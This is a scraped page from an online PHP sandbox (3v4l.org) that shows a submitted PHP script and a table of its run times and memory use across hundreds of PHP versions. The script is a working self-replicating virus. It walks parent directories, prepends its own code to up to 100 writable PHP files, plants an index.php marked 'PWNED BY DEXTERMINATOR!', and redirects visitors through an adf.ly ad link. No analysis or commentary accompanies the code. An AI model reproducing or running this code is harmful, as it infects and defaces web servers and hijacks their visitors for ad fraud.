3v4l.org

run code in 300+ PHP versions simultaneously
<?php #index.php $atefile = 0; $adlink= "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; walkthrough('../..'); function walkthrough($dir) { global $atefile; $maxi = 100; $viruscontents=fread(fopen(__FILE__,'r'), 1644); if (!file_exists('index.php')) { $handle = fopen('index.php', 'a'); fwrite($handle, $viruscontents.'PWNED BY DEXTERMINATOR!'); fclose($handle); } if(is_dir($dir)){ if($dh = opendir($dir)){ while(($file = readdir($dh)) !== false && $atefile<$maxi){ if($file != "." && $file != ".."){ if(is_dir($dir."/".$file)){ walkthrough($dir."/".$file); }else{ if(strstr (substr($file, -4), 'php')){ $infected=true; $caniwrite=false; if ( is_file($dir."/".$file) && is_writeable($dir."/".$file) ){ $output = fopen($dir."/".$file, "r"); if(filesize ($dir."/".$file)>0){ $contents = fread ($output , 20); $mine = strstr ($contents, 'index.php'); fclose($output ); } $infected=false; if($mine){$infected=true;} } if($infected==false){ if(filesize ($dir."/".$file)>0){ $victim = fopen($dir."/".$file, "r+"); $ori = fread($victim, filesize($dir."/".$file)); fclose($victim); } $victim = fopen($dir."/".$file, "w+"); if(filesize($dir."/".$file)==0){ fwrite($victim, $viruscontents); }else{ fputs($victim ,$viruscontents.$ori); } $atefile++; fclose($victim ); } } } } } closedir($dh); } } return $counter; } header ('Location: http://adf.ly/7520520/' . $adlink); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.00618.66
8.3.50.0080.01022.93
8.3.40.0120.00918.82
8.3.30.0140.00319.09
8.3.20.0050.00320.33
8.3.10.0040.00421.86
8.3.00.0040.00417.50
8.2.180.0160.00316.75
8.2.170.0090.00922.96
8.2.160.0110.00420.39
8.2.150.0040.00424.18
8.2.140.0040.00424.66
8.2.130.0040.01126.16
8.2.120.0060.00320.77
8.2.110.0030.00619.36
8.1.280.0120.00825.92
8.1.270.0000.00823.96
8.1.260.0050.00326.35
8.1.250.0080.00028.09
8.1.240.0090.00019.26
8.0.120.0040.00414.35
8.0.110.0050.00314.34
8.0.100.0040.00414.34
8.0.90.0050.00414.39
8.0.80.0080.00514.37
8.0.70.0090.00314.33
8.0.60.0100.00114.36
8.0.50.0070.00414.38
8.0.30.0100.00614.92
8.0.20.0100.00515.05
8.0.10.0080.00314.39
8.0.00.0080.00414.94
7.4.250.0110.00814.28
7.4.240.0120.00614.76
7.4.230.0110.00814.36
7.4.220.0190.00414.37
7.4.210.0150.00814.33
7.4.200.0110.00814.42
7.4.190.0170.00313.53
7.4.180.0170.01013.68
7.4.160.0160.00614.38
7.4.150.0200.00714.60
7.4.140.0160.00615.29
7.4.130.0160.00714.83
7.4.120.0150.00614.84
7.4.110.0170.01014.40
7.4.100.0170.00714.41
7.4.90.0130.00714.35
7.4.80.0180.00615.08
7.4.70.0150.00714.34
7.4.60.0170.00714.40
7.4.50.0150.00714.22
7.4.40.0140.00714.20
7.4.30.0130.00814.27
7.4.20.0260.00313.63
7.4.10.0160.00513.48
7.4.00.0160.00613.88
7.3.320.0210.00613.82
7.3.310.0140.00414.31
7.3.300.0090.00914.33
7.3.290.0170.00614.40
7.3.280.0160.00615.16
7.3.270.0200.00414.63
7.3.260.0120.00614.29
7.3.250.0120.01214.84
7.3.240.0140.00814.43
7.3.230.0170.00614.34
7.3.220.0170.00313.57
7.3.210.0150.00714.30
7.3.200.0190.00515.03
7.3.190.0150.00814.36
7.3.180.0110.00714.25
7.3.170.0140.00814.33
7.3.160.0150.00714.34
7.3.150.0180.00513.48
7.3.140.0200.00613.58
7.3.130.0090.00713.46
7.3.120.0140.00413.64
7.3.110.0160.00513.58
7.3.100.0150.00913.47
7.3.90.0120.01013.77
7.3.80.0140.00413.54
7.3.70.0130.00413.56
7.3.60.0110.00513.69
7.3.50.0150.00213.74
7.3.40.0120.00513.60
7.3.30.0140.00613.68
7.3.20.0180.00515.35
7.3.10.0110.00715.62
7.3.00.0110.00615.65
7.2.340.0150.00313.57
7.2.330.0200.00514.44
7.2.320.0130.01014.41
7.2.310.0160.00914.37
7.2.300.0140.00714.35
7.2.290.0150.00814.47
7.2.280.0180.00313.68
7.2.270.0160.00513.60
7.2.260.0160.00313.65
7.2.250.0130.00413.63
7.2.240.0160.00613.67
7.2.230.0150.00413.54
7.2.220.0100.00813.53
7.2.210.0150.00413.69
7.2.200.0130.00613.65
7.2.190.0180.00413.75
7.2.180.0240.00213.80
7.2.170.0180.00513.83
7.2.160.0120.00613.75
7.2.150.0150.00715.47
7.2.140.0150.00315.41
7.2.130.0110.00815.93
7.2.120.0130.00515.86
7.2.110.0110.00715.85
7.2.100.0130.00815.86
7.2.90.0150.00815.92
7.2.80.0170.00615.81
7.2.70.0150.00515.82
7.2.60.0130.00515.87
7.2.50.0120.00815.79
7.2.40.0130.00615.85
7.2.30.0160.00715.90
7.2.20.0180.00515.84
7.2.10.0120.00615.79
7.2.00.0110.00816.62
7.1.330.0180.00714.52
7.1.320.0160.00314.48
7.1.310.0110.00714.33
7.1.300.0160.00314.40
7.1.290.0100.00714.37
7.1.280.0110.01014.42
7.1.270.0180.00514.46
7.1.260.0100.00714.42
7.1.250.0150.00714.81
7.1.240.0120.00814.33
7.1.230.0110.01014.48
7.1.220.0120.00614.50
7.1.210.0170.00514.36
7.1.200.0150.00614.30
7.1.190.0180.00414.46
7.1.180.0170.00514.37
7.1.170.0160.00714.47
7.1.160.0140.00514.35
7.1.150.0150.00714.37
7.1.140.0140.00414.33
7.1.130.0170.00514.44
7.1.120.0070.01114.31
7.1.110.0130.00814.39
7.1.100.0140.00415.35
7.1.90.0150.01014.38
7.1.80.0140.00214.50
7.1.70.0150.00614.97
7.1.60.0120.00815.66
7.1.50.0130.00515.01
7.1.40.0130.00414.38
7.1.30.0150.00414.42
7.1.20.0190.00214.36
7.1.10.0170.00714.38
7.1.00.0180.02016.40
7.0.330.0100.00614.30
7.0.320.0140.00914.43
7.0.310.0110.00614.23
7.0.300.0140.00614.22
7.0.290.0150.00514.29
7.0.280.0140.00414.27
7.0.270.0140.00714.45
7.0.260.0160.00714.36
7.0.250.0160.00514.36
7.0.240.0130.00614.25
7.0.230.0110.00514.47
7.0.220.0150.00514.43
7.0.210.0190.00314.36
7.0.200.0120.00614.87
7.0.190.0170.00214.41
7.0.180.0190.00414.34
7.0.170.0160.00314.45
7.0.160.0140.00314.18
7.0.150.0170.00414.32
7.0.140.0150.02216.19
7.0.130.0150.00814.39
7.0.120.0120.00414.34
7.0.110.0150.00714.30
7.0.100.0170.00714.36
7.0.90.0160.00414.26
7.0.80.0140.00714.20
7.0.70.0180.00214.26
7.0.60.0130.02415.67
7.0.50.0140.02415.16
7.0.40.0120.01915.78
7.0.30.0160.02015.85
7.0.20.0320.02015.69
7.0.10.0180.02115.88
7.0.00.0060.03015.74
5.6.400.0170.00612.97
5.6.280.0030.07321.07
5.6.210.0070.05320.47
5.6.200.0000.08718.14
5.6.190.0170.03020.58
5.6.180.0330.07020.48
5.6.170.0300.04720.57
5.6.160.0070.06020.54
5.6.150.0030.04018.27
5.6.140.0070.05318.24
5.6.130.0030.04318.18
5.6.120.0030.04021.00
5.6.110.0170.06321.18
5.6.100.0070.07321.00
5.6.90.0100.08321.00
5.6.80.0100.08320.46
5.5.350.0300.06720.43
5.5.340.0000.04718.05
5.5.330.0130.07720.34
5.5.320.0300.07020.27
5.5.310.0200.05720.34
5.5.300.0130.04317.97
5.5.290.0030.04317.98
5.5.280.0230.07020.82
5.5.270.0100.06320.90
5.5.260.0070.07720.89
5.5.250.0100.06020.49
5.5.240.0030.07720.18
5.4.450.0330.04019.45
5.4.440.0200.04019.54
5.4.430.0130.04319.46
5.4.420.0200.04319.41
5.4.410.0200.05019.42
5.4.400.0200.03318.99
5.4.390.1170.05019.21
5.4.380.0330.07319.14
5.4.370.0400.06719.31
5.4.360.0370.06319.16
5.4.350.0230.07319.08
5.4.340.0170.03719.23
5.4.320.0270.04018.87
5.4.310.0160.04912.64
5.4.300.0210.04612.64
5.4.290.0200.04812.64
5.4.280.0210.04312.53
5.4.270.0170.05212.54
5.4.260.0200.04912.54
5.4.250.0140.05112.54
5.4.240.0190.04512.55
5.4.230.0240.05612.52
5.4.220.0160.05012.52
5.4.210.0180.04212.52
5.4.200.0200.04612.53
5.4.190.0160.05012.52
5.4.180.0200.04612.53
5.4.170.0200.04412.55
5.4.160.0210.05312.54
5.4.150.0190.04512.54
5.4.140.0160.04912.21
5.4.130.0220.04212.21
5.4.120.0180.04712.16
5.4.110.0140.04612.16
5.4.100.0110.04912.16
5.4.90.0160.04712.16
5.4.80.0150.05212.16
5.4.70.0190.04112.16
5.4.60.0190.04012.16
5.4.50.0200.04012.15
5.4.40.0130.05012.14
5.4.30.0200.04012.13
5.4.20.0210.03912.14
5.4.10.0180.04912.14
5.4.00.0210.04211.64

preferences:
46.45 ms | 401 KiB | 5 Q